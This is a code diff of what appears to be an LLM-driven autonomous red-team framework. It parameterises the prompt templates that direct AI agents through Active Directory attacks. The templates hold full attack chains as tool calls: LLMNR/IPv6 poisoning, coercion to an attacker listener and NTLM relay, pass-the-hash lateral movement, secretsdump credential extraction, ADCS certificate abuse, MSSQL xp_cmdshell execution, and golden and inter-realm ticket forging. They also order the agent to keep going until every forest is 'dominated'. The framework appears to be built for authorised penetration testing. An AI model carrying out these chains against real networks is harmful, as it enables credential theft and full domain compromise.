render_agent_instructions(TEMPLATE_ORCHESTRATOR, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_ORCHESTRATOR, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("Red Team Orchestrator")); } @@ -517,14 +567,30 @@ mod tests { caps.insert("privesc".to_string(), vec!["certipy".to_string()]); caps.insert("lateral".to_string(), vec!["psexec".to_string()]); - let result = render_system_instructions(Some(&caps), None).unwrap(); + let result = render_system_instructions( + Some(&caps), + None, + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + ) + .unwrap(); assert!(result.contains("RECON")); assert!(result.contains("nmap_scan")); } #[test] fn render_system_instructions_without_capabilities() { - let result = render_system_instructions(None, None).unwrap(); + let result = render_system_instructions( + None, + None, + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + ) + .unwrap(); // Falls back to hardcoded defaults assert!(result.contains("nmap, netexec, rpcclient")); // Hardcoded fallback table @@ -541,7 +607,15 @@ mod tests { ("esc1".to_string(), 5), ("acl_abuse".to_string(), 6), ]; - let result = render_system_instructions(None, Some(&priorities)).unwrap(); + let result = render_system_instructions( + None, + Some(&priorities), + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + ) + .unwrap(); // Dynamic table rendered assert!( result.contains("operator strategy"), @@ -630,7 +704,16 @@ mod tests { #[test] fn invalid_template_name() { - let result = render_agent_instructions("nonexistent", &[], false, &[]); + let result = render_agent_instructions( + "nonexistent", + &[], + false, + &[], + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + ); assert!(result.is_err()); } } diff --git a/ares-llm/templates/redteam/agents/acl.md.tera b/ares-llm/templates/redteam/agents/acl.md.tera index 8fbe7438..880ae8ab 100644 --- a/ares-llm/templates/redteam/agents/acl.md.tera +++ b/ares-llm/templates/redteam/agents/acl.md.tera @@ -41,13 +41,13 @@ When you have these permissions on a user/computer: 1. **Shadow Credentials** (BEST - one step to hash) ``` - pywhisker(target_samaccountname="targetuser", domain="contoso.local", username="user", password="pass", dc_ip="192.168.58.10") + pywhisker(target_samaccountname="targetuser", domain="{{ target_domain }}", username="user", password="pass", dc_ip="{{ target_dc_ip }}") → Use generated PFX with certipy_auth (from PrivEsc) to get NTLM hash ``` 2. **Targeted Kerberoast** ``` - targeted_kerberoast(target="targetuser", domain="contoso.local") + targeted_kerberoast(target="targetuser", domain="{{ target_domain }}") → Get TGS hash → Request crack from orchestrator ``` diff --git a/ares-llm/templates/redteam/agents/coercion.md.tera b/ares-llm/templates/redteam/agents/coercion.md.tera index 887c6fbc..24c0fe43 100644 --- a/ares-llm/templates/redteam/agents/coercion.md.tera +++ b/ares-llm/templates/redteam/agents/coercion.md.tera @@ -43,11 +43,12 @@ Your role is to capture authentication traffic and coerce systems to authenticat Primary tool for capturing hashes: ``` start_responder( - interface="" # Use the EXACT interface from your task (NOT eth0!) - analyze_mode=False # Set True for passive mode + interface='', + analyze_mode=False # set True for passive ) ``` -**IMPORTANT: Always use the interface value provided in your task prompt. Do NOT guess interface names.** +Use the EXACT `interface` value from your task prompt — never guess (eth0 is +rarely correct). Captures: - NetNTLMv2 hashes from LLMNR queries @@ -58,8 +59,8 @@ Captures: IPv6-based attacks: ``` start_mitm6( - domain="contoso.local", - interface="" # Use the EXACT interface from your task (NOT eth0!) + domain="{{ target_domain }}", + interface='' ) ``` @@ -74,8 +75,8 @@ Captures: Coerce DC to authenticate: ``` petitpotam( - target="dc.contoso.local", - listener="192.168.58.100" + target="{{ target_dc_fqdn }}", + listener="{{ listener_ip }}" ) ``` @@ -88,8 +89,8 @@ Use cases: Try multiple coercion methods: ``` coercer( - target="server.contoso.local", - listener="192.168.58.100" + target="{{ target_dc_fqdn }}", + listener="{{ listener_ip }}" ) ``` @@ -104,8 +105,8 @@ Tries: DFS-based coercion (MS-DFSNM): ``` dfscoerce( - target="server.contoso.local", - listener="192.168.58.100" + target="{{ target_dc_fqdn }}", + listener="{{ listener_ip }}" ) ``` @@ -113,8 +114,8 @@ dfscoerce( ### For ADCS ESC8 You handle the full ESC8 attack chain: -1. Start `ntlmrelayx_to_adcs(ca_host="ca.contoso.local", attacker_ip="YOUR_IP")` -2. Run `petitpotam(target="dc.contoso.local", listener="YOUR_IP")` to coerce DC +1. Start `ntlmrelayx_to_adcs(ca_host='', attacker_ip="{{ listener_ip }}")` +2. Run `petitpotam(target="{{ target_dc_fqdn }}", listener="{{ listener_ip }}")` to coerce DC 3. DC authenticates to relay, relay requests certificate from CA 4. Certificate is saved, use `certipy_auth` (on privesc) to get NTLM hash @@ -137,9 +138,9 @@ Relay to multiple SMB targets from a targets file: ### DHCPv6 + LDAP Relay (Create Computer for RBCD) Combine mitm6 with ntlmrelayx to create computer account: ``` -1. start_mitm6(domain="contoso.local", interface="") +1. start_mitm6(domain="{{ target_domain }}", interface='') → Poison DHCPv6 responses -2. ntlmrelayx_to_ldaps(dc_ip="192.168.58.10", delegate_access=True) +2. ntlmrelayx_to_ldaps(dc_ip="{{ target_dc_ip }}", delegate_access=True) → Relay to LDAPS, create computer with RBCD rights 3. Wait for machine authentication (WPAD requests) 4. Use created computer for RBCD attack: diff --git a/ares-llm/templates/redteam/agents/lateral.md.tera b/ares-llm/templates/redteam/agents/lateral.md.tera index 8793586c..ea7cb4bd 100644 --- a/ares-llm/templates/redteam/agents/lateral.md.tera +++ b/ares-llm/templates/redteam/agents/lateral.md.tera @@ -46,40 +46,40 @@ Your role is to move through the network and extract credentials from compromise - If psexec fails with "access denied", you don't have admin rights on the target - Prefer pass-the-hash when available ``` - psexec(target="192.168.58.10", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") - psexec(target="192.168.58.10", username="admin", password="P@ssw0rd!", domain="contoso.local") + psexec(target="{{ target_dc_ip }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") + psexec(target="{{ target_dc_ip }}", username="admin", password="P@ssw0rd!", domain="{{ target_domain }}") ``` 2. **evil-winrm** - Works if WinRM enabled (check 5985/5986 first) ``` - evil_winrm(target="192.168.58.10", username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") - evil_winrm(target="192.168.58.10", username="admin", password="P@ssw0rd!", domain="contoso.local") + evil_winrm(target="{{ target_dc_ip }}", username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") + evil_winrm(target="{{ target_dc_ip }}", username="admin", password="P@ssw0rd!", domain="{{ target_domain }}") ``` 3. **wmi/smbexec** - Alternate methods ``` - wmiexec(target="192.168.58.10", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") - smbexec(target="192.168.58.10", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") + wmiexec(target="{{ target_dc_ip }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") + smbexec(target="{{ target_dc_ip }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") ``` ### Pass-the-Hash When you have NTLM hash instead of password, use the format `LM:NT` or just `NT`: ``` -psexec(target="dc01.contoso.local", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") -evil_winrm(target="dc01.contoso.local", username="administrator", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") -wmiexec(target="dc01.contoso.local", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") +psexec(target="{{ target_dc_fqdn }}", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") +evil_winrm(target="{{ target_dc_fqdn }}", username="administrator", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") +wmiexec(target="{{ target_dc_fqdn }}", username="administrator", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") ``` ### Pass-the-Ticket When you have a Kerberos ticket (ccache file), use the `_kerberos` variants: ``` # If you already have a .ccache file from S4U/delegation/ADCS attack: -psexec_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") -wmiexec_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") -secretsdump_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") +psexec_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") +wmiexec_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") +secretsdump_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") # If you need to request a TGT first: -get_tgt(username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") +get_tgt(username="admin", hash="31d6cfe0d16ae931b73c59d7e0c089c0", domain="{{ target_domain }}") # → Creates /tmp/admin.ccache, then use it with the _kerberos tools ``` @@ -95,13 +95,13 @@ Use Kerberos when: After gaining access to a host, **immediately run secretsdump**: ``` # With password: -secretsdump(target="192.168.58.10", domain="contoso.local", username="admin", password="P@ssw0rd!") +secretsdump(target="{{ target_dc_ip }}", domain="{{ target_domain }}", username="admin", password="P@ssw0rd!") # With hash (pass-the-hash): -secretsdump(target="192.168.58.10", domain="contoso.local", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0") +secretsdump(target="{{ target_dc_ip }}", domain="{{ target_domain }}", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0") # With Kerberos ticket: -secretsdump_kerberos(target="dc01.contoso.local", ticket_file="/tmp/administrator.ccache") +secretsdump_kerberos(target="{{ target_dc_fqdn }}", ticket_file="/tmp/administrator.ccache") ``` Extracts: diff --git a/ares-llm/templates/redteam/agents/orchestrator.md.tera b/ares-llm/templates/redteam/agents/orchestrator.md.tera index 37824ce3..436e7e56 100644 --- a/ares-llm/templates/redteam/agents/orchestrator.md.tera +++ b/ares-llm/templates/redteam/agents/orchestrator.md.tera @@ -60,18 +60,18 @@ Your role is to **delegate tasks to specialized worker agents** and coordinate t ## Your Responsibilities 1. **Dispatch Initial Reconnaissance** (to RECON worker) - - `dispatch_recon(target_ip="", techniques=["nmap_scan"])` - Use actual target IPs! - - `dispatch_recon(target_ip="", domain="", techniques=["user_enumeration"])` - - `dispatch_recon(target_ip="", techniques=["smb_sweep"])` - Find relay targets! - - `dispatch_recon(target_ip="", domain="contoso.local", techniques=["bloodhound_collect"])` + - `dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["nmap_scan"])` - Use actual target IPs from state! + - `dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["user_enumeration"])` + - `dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["smb_sweep"])` - Find relay targets! + - `dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["bloodhound_collect"])` 2. **Dispatch Low-Hanging Fruit** (to CREDENTIAL_ACCESS worker) - - `dispatch_credential_access(technique="password_spray", target_ip="DC_IP", domain="contoso.local", username="", password="")` - - `dispatch_credential_access(technique="asrep_roast", target_ip="DC_IP", domain="contoso.local", username="", password="")` + - `dispatch_credential_access(technique="password_spray", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="", password="")` + - `dispatch_credential_access(technique="asrep_roast", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="", password="")` 3. **Dispatch Credential Expansion** (IMMEDIATELY when creds found) - - `dispatch_credential_access(technique="secretsdump", target_ip="DC_IP", domain="contoso.local", username="user", password="pass")` - - `dispatch_credential_access(technique="kerberoast", target_ip="DC_IP", domain="contoso.local", username="user", password="pass")` + - `dispatch_credential_access(technique="secretsdump", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="user", password="pass")` + - `dispatch_credential_access(technique="kerberoast", target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", username="user", password="pass")` 4. **Dispatch ADCS Enumeration** (when credentials available) - `dispatch_privesc_exploit(vuln_id="adcs_enum")` - Runs certipy_find @@ -125,32 +125,30 @@ admin hash found -> dispatch_crack(hash_value="...", hash_type="ntlm", priority= ``` ### PRIORITY 3: ADCS Vulnerability -``` -FIRST: Enumerate ADCS (run early when creds available!) - dispatch_privesc_exploit(vuln_id="adcs_enum") - -> certipy_find discovers ESC1-ESC15 vulnerabilities - -THEN: When vulnerabilities found: - ESC1/ESC4 -> dispatch_privesc_exploit(vuln_id="") - ESC8 -> Coordinate with COERCION: - dispatch_coercion(target_ip="CA_IP", listener_ip="ATTACKER_IP") -``` + +First, enumerate ADCS as soon as credentials are available: +`dispatch_privesc_exploit(vuln_id="adcs_enum")` — `certipy_find` discovers +ESC1-ESC15 vulnerabilities. When `get_pending_tasks()` / `get_operation_summary()` +report a discovered ESC1/ESC4 vuln_id, dispatch +`dispatch_privesc_exploit(vuln_id=...)` with that exact vuln_id (do not invent +one). For ESC8, coordinate with COERCION via +`dispatch_coercion(target_ip="{{ target_dc_ip }}", listener_ip="{{ listener_ip }}")`. ### PRIORITY 4: Delegation -``` -Unconstrained -> dispatch_privesc_exploit(vuln_id="") -Constrained -> dispatch_privesc_exploit(vuln_id="") -``` + +For unconstrained or constrained delegation findings, call +`dispatch_privesc_exploit` passing the exact vuln_id reported by recon +(`get_operation_summary` lists it). ### PRIORITY 5: MSSQL -``` -Port 1433 open -> dispatch_privesc_exploit(vuln_id="") -``` + +When port 1433 is open and a corresponding MSSQL vuln has been discovered, +call `dispatch_privesc_exploit(vuln_id=...)` with the discovered vuln_id. ### PRIORITY 6: NTLM Relay Attacks ``` SMB signing check shows unsigned hosts: - dispatch_coercion(target_ip="DC_IP", listener_ip="ATTACKER_IP", techniques=["petitpotam"]) + dispatch_coercion(target_ip="{{ target_dc_ip }}", listener_ip="{{ listener_ip }}", techniques=["petitpotam"]) ``` **IMPORTANT:** Run SMB sweep early via dispatch_recon to identify relay targets! @@ -201,7 +199,7 @@ SMB signing check shows unsigned hosts: You MUST NOT call `complete_operation()` until ALL forests are dominated or all attack paths are exhausted. **Actions to dominate remaining forests:** -1. Enumerate trust relationships: `dispatch_recon(target_ip="", domain="", techniques=["enumerate_domain_trusts"])` +1. Enumerate trust relationships: `dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["enumerate_domain_trusts"])` 2. Extract trust keys: `dispatch_privesc_exploit(vuln_id="trust_key_extraction")` with the appropriate DA credential 3. Use inter-realm tickets to secretsdump the foreign forest's DC 4. If trust key path fails, look for organic paths: MSSQL links, ACL chains, foreign security principals @@ -221,17 +219,13 @@ You MUST NOT call `complete_operation()` until ALL forests are dominated or all ## Example Workflow -**IMPORTANT: Replace placeholders with ACTUAL values from operation state!** -- Use `get_operation_summary()` FIRST to understand current state -- `` = the target IPs from state -- `` = the domain controller IP discovered during recon -- `` = the target domain (e.g., "contoso.local") +**Use `get_operation_summary()` FIRST to confirm current state. The example below is rendered with your operation values; substitute additional discovered IPs/domains as recon expands the picture.** ``` 1. get_operation_summary() - understand current state -2. dispatch_recon(target_ip="", techniques=["nmap_scan"]) -3. dispatch_recon(target_ip="", techniques=["smb_sweep"]) - RELAY TARGETS! -4. dispatch_recon(target_ip="", domain="", techniques=["user_enumeration"]) +2. dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["nmap_scan"]) +3. dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["smb_sweep"]) - RELAY TARGETS! +4. dispatch_recon(target_ip="{{ target_dc_ip }}", domain="{{ target_domain }}", techniques=["user_enumeration"]) 5. [Monitor with get_pending_tasks()] 6. AS SOON AS ANY CREDENTIAL IS FOUND: a. dispatch_credential_access(technique="secretsdump", target_ip="ALL_DCs", ...) @@ -239,9 +233,9 @@ You MUST NOT call `complete_operation()` until ALL forests are dominated or all c. dispatch_credential_access(technique="asrep_roast", ...) d. dispatch_privesc_exploit(vuln_id="adcs_enum") - FIND ADCS VULNS! e. Check results for krbtgt or Administrator hash -7. dispatch_recon(target_ip="", techniques=["bloodhound_collect"]) for ACL paths -8. If relay targets found: dispatch_coercion(target_ip="DC_IP", listener_ip="ATTACKER_IP") -9. dispatch_privesc_exploit(vuln_id="") for discovered vulnerabilities +7. dispatch_recon(target_ip="{{ target_dc_ip }}", techniques=["bloodhound_collect"]) for ACL paths +8. If relay targets found: dispatch_coercion(target_ip="{{ target_dc_ip }}", listener_ip="{{ listener_ip }}") +9. dispatch_privesc_exploit with the exact vuln_id reported by get_operation_summary for each discovered vulnerability 10. Monitor with get_operation_summary() and get_pending_tasks() 11. complete_operation(summary="...") when DA achieved or paths exhausted ``` diff --git a/ares-llm/templates/redteam/agents/privesc.md.tera b/ares-llm/templates/redteam/agents/privesc.md.tera index 37af0e0e..385037d6 100644 --- a/ares-llm/templates/redteam/agents/privesc.md.tera +++ b/ares-llm/templates/redteam/agents/privesc.md.tera @@ -96,9 +96,9 @@ If you find yourself calling documentation tools more than attack tools, STOP an ### ESC1 - Enrollee Supplies Subject When ESC1 vulnerability is found: ``` -1. certipy_request(domain="contoso.local", username="user", password="pass", ca="CA-NAME", - template="VulnTemplate", upn="administrator@contoso.local", dc_ip="DC_IP") -2. certipy_auth(domain="contoso.local", pfx_file="output.pfx", dc_ip="DC_IP") +1. certipy_request(domain="{{ target_domain }}", username="user", password="pass", ca="CA-NAME", + template="VulnTemplate", upn="administrator@{{ target_domain }}", dc_ip="{{ target_dc_ip }}") +2. certipy_auth(domain="{{ target_domain }}", pfx_file="output.pfx", dc_ip="{{ target_dc_ip }}") → Get Administrator NTLM hash ``` @@ -108,23 +108,23 @@ If RPC fails (ept_s_not_registered), coordinate with COERCION agent for ESC8 rel When ESC4 vulnerability is found, use the full chain tool: ``` certipy_esc4_full_chain( - domain="contoso.local", + domain="{{ target_domain }}", username="user", password="pass", template="VulnTemplate", ca="CA-NAME", target_user="administrator", - dc_ip="DC_IP" + dc_ip="{{ target_dc_ip }}" ) → Modifies template, requests cert, restores template, authenticates - all in one ``` Or manually: ``` -1. certipy_template_esc4(domain="contoso.local", ..., action="modify") -2. certipy_request(domain="contoso.local", ..., upn="administrator@contoso.local") -3. certipy_auth(domain="contoso.local", pfx_file="output.pfx") -4. certipy_template_esc4(domain="contoso.local", ..., action="restore") +1. certipy_template_esc4(domain="{{ target_domain }}", ..., action="modify") +2. certipy_request(domain="{{ target_domain }}", ..., upn="administrator@{{ target_domain }}") +3. certipy_auth(domain="{{ target_domain }}", pfx_file="output.pfx") +4. certipy_template_esc4(domain="{{ target_domain }}", ..., action="restore") ``` ### ESC8 - Web Enrollment Relay @@ -137,7 +137,7 @@ When ESC8 vulnerability is found (coordinate with COERCION agent): 1. COERCION agent starts ntlmrelayx_to_adcs(ca_host="CA_IP", template="DomainController") 2. COERCION agent runs petitpotam to coerce DC 3. Relay captures certificate -4. certipy_auth(domain="contoso.local", pfx_file="dc.pfx", dc_ip="DC_IP") +4. certipy_auth(domain="{{ target_domain }}", pfx_file="dc.pfx", dc_ip="{{ target_dc_ip }}") → Get DC machine account NTLM hash ``` @@ -148,11 +148,11 @@ task without ca_host/ca_name, fail with: "ESC8 requires ca_host for relay target For any user/computer you have GenericAll on: ``` certipy_shadow( - domain="contoso.local", + domain="{{ target_domain }}", username="youruser", password="pass", target="targetuser", - dc_ip="DC_IP" + dc_ip="{{ target_dc_ip }}" ) → Creates shadow credential, gets PFX, authenticates - one tool! ``` @@ -165,24 +165,24 @@ When constrained delegation is found, this is a HIGH VALUE attack path: **STEP 1: Get Administrator ticket via S4U** ``` s4u_attack( - target_spn="cifs/dc01.contoso.local", + target_spn="cifs/{{ target_dc_fqdn }}", impersonate="Administrator", - domain="contoso.local", + domain="{{ target_domain }}", username="svc_account", password="service_password", - dc_ip="192.168.58.10" + dc_ip="{{ target_dc_ip }}" ) ``` -→ Look for: "Saving ticket in Administrator@cifs_dc01.contoso.local@CONTOSO.LOCAL.ccache" +→ Look for: "Saving ticket in Administrator@cifs_{{ target_dc_fqdn }}@{{ target_domain | upper }}.ccache" **STEP 2: IMMEDIATELY use ticket with secretsdump_kerberos** ``` secretsdump_kerberos( - target="dc01.contoso.local", + target="{{ target_dc_fqdn }}", username="Administrator", - domain="contoso.local", - ticket_path="Administrator@cifs_dc01.contoso.local@CONTOSO.LOCAL.ccache", - dc_ip="192.168.58.10" + domain="{{ target_domain }}", + ticket_path="Administrator@cifs_{{ target_dc_fqdn }}@{{ target_domain | upper }}.ccache", + dc_ip="{{ target_dc_ip }}" ) ``` → If target is DC: krbtgt hash = DOMAIN ADMIN @@ -191,10 +191,10 @@ secretsdump_kerberos( **STEP 3: Alternative - psexec_kerberos for SYSTEM shell** ``` psexec_kerberos( - target="dc01.contoso.local", + target="{{ target_dc_fqdn }}", username="Administrator", - domain="contoso.local", - ticket_path="Administrator@cifs_dc01.contoso.local@CONTOSO.LOCAL.ccache", + domain="{{ target_domain }}", + ticket_path="Administrator@cifs_{{ target_dc_fqdn }}@{{ target_domain | upper }}.ccache", command="cmd /c whoami && hostname" ) ``` @@ -222,103 +222,95 @@ MSSQL is often a path to domain compromise through impersonation and linked serv 3. NTLM coercion → Relay attacks ### Step 1: ENUMERATE IMPERSONATION RIGHTS (RUN THIS FIRST!) -**CRITICAL**: Always check for impersonation rights BEFORE anything else - this is the FASTEST path to sysadmin: +**CRITICAL**: Always check for impersonation rights BEFORE anything else — this is the FASTEST path to sysadmin: ``` mssql_enum_impersonation( - target="sql.contoso.local", - username="any_domain_user", - password="found_password", - domain="CONTOSO.LOCAL" + target='', + username='', + password='', + domain="{{ target_domain | upper }}" ) ``` **Expected output showing impersonation rights:** ``` execute as database permission_name state_desc grantee grantor ---------- -------- --------------- ---------- ---------------- ------- -b'LOGIN' b'' IMPERSONATE GRANT CONTOSO\your_user sa +b'LOGIN' b'' IMPERSONATE GRANT {{ target_domain | split(pat=".") | first | upper }}\your_user sa ``` -→ If you see 'sa' as grantor with IMPERSONATE permission, **you can become sysadmin!** +→ If you see `sa` as grantor with IMPERSONATE permission, **you can become sysadmin!** ### Step 2: IMPERSONATE SA (if Step 1 shows you can) -**IMMEDIATELY after finding impersonation rights:** ``` mssql_impersonate( - target="sql.contoso.local", - username="any_domain_user", - password="password", - impersonate_user="sa", + target='', + username='', + password='', + impersonate_user='sa', query="SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin')", - domain="CONTOSO.LOCAL" + domain="{{ target_domain | upper }}" ) ``` -→ Verify output shows: `sa` and `1` (confirming sysadmin) -→ **You are now sysadmin!** Proceed to enable xp_cmdshell. +→ Verify output shows `sa` and `1` (confirming sysadmin) — then proceed to enable xp_cmdshell. ### Step 3: Enable xp_cmdshell (as sysadmin) -**After impersonating 'sa' or if you have sysadmin:** ``` mssql_enable_xp_cmdshell( - target="sql.contoso.local", - username="any_domain_user", - password="password", - domain="CONTOSO.LOCAL" + target='', + username='', + password='', + impersonate_user='sa', + domain="{{ target_domain | upper }}" ) ``` -→ Enable command execution capability ### Step 4: Execute Commands -**After enabling xp_cmdshell:** -``` -mssql_command( - target="sql.contoso.local", - username="any_domain_user", - password="password", - command="whoami /priv", - domain="CONTOSO.LOCAL" +``` +mssql_impersonate( + target='', + username='', + password='', + impersonate_user='sa', + query="EXEC xp_cmdshell 'whoami /priv'", + domain="{{ target_domain | upper }}" ) ``` -→ Check for `SeImpersonatePrivilege` - enables potato attacks to SYSTEM -→ Common result: Running as `NT AUTHORITY\NETWORK SERVICE` (limited privileges) +→ Check for `SeImpersonatePrivilege` (enables potato attacks to SYSTEM). Common result: `NT AUTHORITY\NETWORK SERVICE` (limited). **If NETWORK SERVICE:** You may need potato attacks (GodPotato, PrintSpoofer) to escalate to SYSTEM, OR look for other attack paths like constrained delegation on discovered accounts. ### Step 5: Enumerate Linked Servers -**Cross-domain/forest pivoting opportunity:** ``` mssql_enum_linked_servers( - target="sql.contoso.local", - username="sql_svc", - password="found_password", - domain="CONTOSO.LOCAL" + target='', + username='', + password='', + domain="{{ target_domain | upper }}" ) ``` -→ Find linked servers for cross-domain pivoting - -**Pivot through linked server:** +→ If linked servers are reported, pivot through one. Copy the linked server name verbatim from the output: ``` mssql_exec_linked( - target="sql.contoso.local", - linked_server="remote-sql.fabrikam.local", + target='', + username='', + password='', + linked_server='', query="SELECT SYSTEM_USER", - username="sql_user", - password="password", - domain="CONTOSO.LOCAL" + domain="{{ target_domain | upper }}" ) ``` -→ Execute queries on remote server in different domain/forest! ### MSSQL NTLM Coercion Force SQL server to authenticate to your listener: ``` mssql_ntlm_coerce( - target="sql.contoso.local", - username="sql_user", - password="password", - listener_ip="YOUR_IP", - domain="CONTOSO.LOCAL" + target='', + username='', + password='', + listener_ip="{{ listener_ip }}", + domain="{{ target_domain | upper }}" ) ``` -→ Capture machine account hash for relay to LDAPS +→ Captures machine account hash for relay to LDAPS. ## Trust Attacks @@ -326,56 +318,61 @@ mssql_ntlm_coerce( When a child domain krbtgt hash is available: ``` raise_child( - child_domain="child.contoso.local", - username="user", - password="pass", - target_domain="contoso.local" + child_domain='', + username='', + password='', + target_domain="{{ target_domain }}" ) -→ Enterprise Admin, then secretsdump parent DCs ``` +→ Enterprise Admin, then `secretsdump` against `{{ target_dc_ip }}` and any other parent DCs. ### Golden Ticket with ExtraSID (Manual) -If raise_child fails, manually forge ticket with Enterprise Admin SID: +If `raise_child` fails, manually forge ticket with Enterprise Admin SID: ``` -1. Get child domain SID: get_sid(domain="child.contoso.local", dc_ip="CHILD_DC_IP") -2. Get parent domain SID: get_sid(domain="contoso.local", dc_ip="PARENT_DC_IP") +1. Get child domain SID: + get_sid( + domain='', + dc_ip='' + ) +2. Get parent domain SID: + get_sid(domain="{{ target_domain }}", dc_ip="{{ target_dc_ip }}") 3. generate_golden_ticket( - krbtgt_hash="aad3b435...", - domain="child.contoso.local", - domain_sid="S-1-5-21-child...", + krbtgt_hash='', + domain='', + domain_sid='', user="Administrator", user_id=500, - extra_sids="S-1-5-21-parent...-519" # Enterprise Admins + extra_sids='-519' # Enterprise Admins ) → Ticket valid in parent domain -4. Use ticket with psexec_kerberos/secretsdump_kerberos on parent DCs +4. Use ticket with psexec_kerberos / secretsdump_kerberos against parent DCs ``` **Note:** Silver ticket forging is done using impacket's ticketer.py directly if needed. Golden ticket is preferred for persistence after obtaining krbtgt hash. ### Cross-Forest Trust Key Extraction -When DA is achieved in one forest and a cross-forest trust exists: +When DA is achieved in `{{ target_domain }}` and `enumerate_domain_trusts` reports a cross-forest trust: ``` 1. extract_trust_key( - domain="contoso.local", - dc_ip="DC_IP", - target_domain="fabrikam.local", + domain="{{ target_domain }}", + dc_ip="{{ target_dc_ip }}", + target_domain='', username="Administrator", - password="pass" + password='' ) - → Gets FABRIKAM$ trust account NTLM hash + → Returns the trusted forest's trust account NTLM hash 2. create_inter_realm_ticket( - source_domain="contoso.local", - source_sid="S-1-5-21-source...", - trust_key="aad3b435...:ntlm_hash", - target_domain="fabrikam.local", - target_sid="S-1-5-21-target..." + source_domain="{{ target_domain }}", + source_sid='', + trust_key='', + target_domain='', + target_sid='' ) → Forges inter-realm TGT -3. Use ticket for secretsdump against fabrikam.local DCs +3. Use ticket for secretsdump_kerberos against the trusted forest's DCs ``` **Important:** SID filtering blocks RID<1000 across forest trusts. If inter-realm @@ -399,15 +396,11 @@ SweetPotato.exe -c "cmd /c whoami" ### RBCD Self-Relay For local privilege escalation via RBCD (requires ability to add computer): -``` -1. add_computer(domain="contoso.local", username="user", password="pass", dc_ip="DC_IP") - → Creates controlled machine account -2. rbcd_write(target_computer="YOURPC", delegate_from="YOURCONTROLLED$", ...) - → Configure RBCD delegation -3. s4u_attack(target_spn="cifs/YOURPC.contoso.local", impersonate="Administrator", ...) - → Get Administrator ticket to yourself -4. psexec_kerberos(...) → SYSTEM on YOURPC -``` + +1. Call `add_computer` with `domain="{{ target_domain }}"`, `dc_ip="{{ target_dc_ip }}"`, and a captured user credential that has MachineAccountQuota available. Note the machine account name returned. +2. Call `rbcd_write` with `target_computer` set to the NetBIOS name of the local host you want SYSTEM on, and `delegate_from` set to the machine account from step 1 (with `$` suffix). +3. Call `s4u_attack` with `impersonate="Administrator"` and `target_spn="cifs/"` followed by the local host's FQDN (the same host named in step 2). +4. Use the resulting ticket with `psexec_kerberos` against the same host → SYSTEM. ## Workflow (Efficiency-Focused) @@ -500,7 +493,7 @@ On failure/blocked: ``` request_assistance( issue="S4U attack failed - KDC_ERR_S_PRINCIPAL_UNKNOWN", - context="Target SPN cifs/dc01.contoso.local not found. May need correct FQDN." + context="Target SPN cifs/{{ target_dc_fqdn }} not found. May need correct FQDN." ) ``` diff --git a/ares-llm/templates/redteam/agents/recon.md.tera b/ares-llm/templates/redteam/agents/recon.md.tera index 15e0fa0e..99784dd1 100644 --- a/ares-llm/templates/redteam/agents/recon.md.tera +++ b/ares-llm/templates/redteam/agents/recon.md.tera @@ -80,28 +80,28 @@ When you receive a recon task: ### Network Scan ``` -Task: Scan for live hosts and services +Task: Scan the assigned target IPs/subnet for live hosts and services Action: Use nmap_scan with appropriate port range Output: List of live hosts with open ports/services ``` ### User Enumeration 